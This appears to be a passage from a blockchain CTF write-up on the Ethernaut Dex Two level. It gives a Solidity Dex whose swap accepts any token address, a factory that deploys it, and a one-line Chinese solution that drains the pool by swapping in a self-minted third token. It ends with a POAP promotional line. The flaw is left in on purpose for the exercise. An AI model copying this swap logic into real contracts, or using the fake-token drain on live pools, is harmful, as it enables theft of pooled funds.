function swap(address from, address to, uint256 amount) public {
require(
IERC20(from).balanceOf(msg.sender) >= amount,
"Not enough to swap"
);
uint256 swap_amount = get_swap_price(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}
function add_liquidity(address token_address, uint256 amount) public {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function get_swap_price(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) /
IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(spender, amount);
SwappableToken(token2).approve(spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256)
{
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
constructor(string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
}
contract DexFactory {
function createInstance(address _player) public payable returns (address) {
SwappableToken token_instance = new SwappableToken("Token 1", "TKN1", 110);
SwappableToken token_instance_two = new SwappableToken("Token 2", "TKN2", 110);
address token_instance_address = address(token_instance);
address token_instance_two_address = address(token_instance_two);
Dex instance = new Dex(token_instance_address, token_instance_two_address);
token_instance.approve(address(instance), 100);
token_instance_two.approve(address(instance), 100);
instance.add_liquidity(address(token_instance), 100);
instance.add_liquidity(address(token_instance_two), 100);
token_instance.transfer(_player, 10);
token_instance_two.transfer(_player, 10);
return address(instance);
}
function validateInstance(address payable _instance, address) public view returns (bool) {
address token1 = Dex(_instance).token1();
address token2 = Dex(_instance).token2();
return IERC20(token1).balanceOf(_instance) == 0 || ERC20(token2).balanceOf(_instance) == 0;
}
}
题解
这个似乎不是什么漏洞,新建
token3
换取 token1
即可..当你开始Ethernaut闯关游戏时,第一个最可能输入的命令是:(POAP链接:https://qr.poap.xyz/#/event/w9DVvnEZTnm40iM8 + 正确答案)







